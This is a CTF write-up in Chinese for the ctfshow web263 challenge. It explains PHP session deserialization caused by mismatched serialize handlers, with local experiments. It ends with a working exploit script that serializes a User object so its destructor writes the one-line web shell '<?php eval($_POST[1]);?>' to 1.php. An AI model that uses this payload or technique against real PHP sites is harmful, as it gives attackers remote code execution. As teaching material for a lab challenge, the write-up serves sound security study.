ctfshow web263(PHP的session反序列化漏洞)
主要代码利用点如下
//index.php
if(isset($_SESSION['limit']))
{
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
}
//inc.php
ini_set('session.serialize_handler', 'php');
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
//利用点
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
思路:利用session的反序列化控制User类中username,password从而destruct函数实现写入一句话木马。
说一下我自己对session的理解,先抛开一些知识,一会下面进行细致讲解:
为什么会有session的反序列化呢,那么肯定是先有了session的序列化。那么session的序列化在哪呢。当我们写 $_SESSION['meng'] = 'meng'; 的时候,服务器会在它的一个目录下创建一个文件,文件的内容是:a:1:{s:4:"meng";s:4:"meng";}这就看出来了,服务器在存储我们的session内容的时候,是将session进行了序列化存储在文件当中(关于序列化与反序列化的知识点移步我的另一篇文章),然后当我们需要用到session里面的内容的时候,服务器从存储序列化后session的文件中取出相关内容,然后进行反序列化。
基础知识讲解:
(1)先介绍一下session:
(2)再介绍一下php.ini配置文件当中有关session存储的配置:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');就如题目那样。用下面的代码进行实验然后去session的存储路径中查看结果:
session_start();
$_SESSION['meng'] = 'meng';
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
本地失败了,等以后补充吧。
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
meng|s:4:"meng";
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
a:1:{s:4:"meng";s:4:"meng";}
题目讲解:
题目中inc.php 设置了session的序列化引擎为php,很有可能说明默认使用的是php_serialize。这就导致了两者不一致从而引发漏洞。
(1)下面做个本地实验,我的php环境默认session.serialize_handler=php_serialize和上面说的默认不一样,我为了和题目保持一致修改的。
class M{
public $a='meng';
public function __destruct()
{
echo $this->a."<br>";
}
}
//序列化后的数值为O:1:"M":1:{s:1:"a";s:4:"meng";}
我们构造一个序列化后的payload:|O:1:"M":1:{s:1:"a";s:4:"hihi";} (这里我们在最前面加了一个 | 并且修改了‘meng’为‘hihi’),然后写入session让其序列化。如下:
<?php
session_start();
class M{
public $a='meng';
public function __destruct()
{
echo $this->a."<br>";
}
}
$_SESSION['test']='|O:1:"M":1:{s:1:"a";s:4:"hihi";}';
?>
然后查看文件中存储的内容如下:
a:1:{s:4:"test";s:32:"|O:1:"M":1:{s:1:"a";s:4:"hihi";}";}
然后我们再执行如下的
<?php
ini_set('session.serialize_handler','php');
session_start();
class M{
public $a='meng';
public function __destruct()
{
echo $this->a."<br>";
}
}
//$_SESSION['test']='|O:1:"M":1:{s:1:"a";s:4:"hihi";}';
$o = new M();
?>
可以发现我们修改后的payload起作用了。这是因为, PHP引擎会将|前面的作为键值,将后面的内容进行反序列化,也就是我们构造的payload |之后的内容被反序列化。
(2)回过头来看题目已经很简单了,
<?php
class User{
public $username;
public $password;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
$a = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo base64_encode('|'.serialize($a));
?>